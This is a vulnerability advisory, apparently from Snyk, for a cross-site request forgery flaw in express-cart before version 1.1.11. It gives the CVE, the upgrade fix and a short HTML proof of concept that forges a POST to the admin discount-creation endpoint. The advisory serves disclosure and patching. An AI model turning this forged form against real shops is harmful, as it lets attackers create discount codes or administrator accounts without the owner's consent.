Cross-site Request Forgery (CSRF) Affecting express-cart package, versions <1.1.11
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (33rd
percentile)
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Test your applications- Snyk ID SNYK-JS-EXPRESSCART-1540669
- published 13 Aug 2021
- disclosed 13 Aug 2021
- credit tuo4n8
Introduced: 13 Aug 2021
CVE-2020-22403 Open this link in a new tabHow to fix?
Upgrade express-cart to version 1.1.11 or higher.
Overview
express-cart is a fully functional shopping cart built in Node.js (Express, MongoDB) with Stripe, PayPal and Authorize.net payments.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to missing checks in the Admin API, allowing attackers to add an administrator account, add a discount code or perform other unspecified behavior.
PoC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:1111/admin/settings/discount/create" method="POST">
<input type="hidden" name="code" value="CSRF-CODE-DEMO" />
<input type="hidden" name="type" value="percent" />
<input type="hidden" name="value" value="30" />
<input type="hidden" name="start" value="21/02/2020 14:32" />
<input type="hidden" name="end" value="22/02/2020 14:32" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
References
CVSS Scores
version 3.1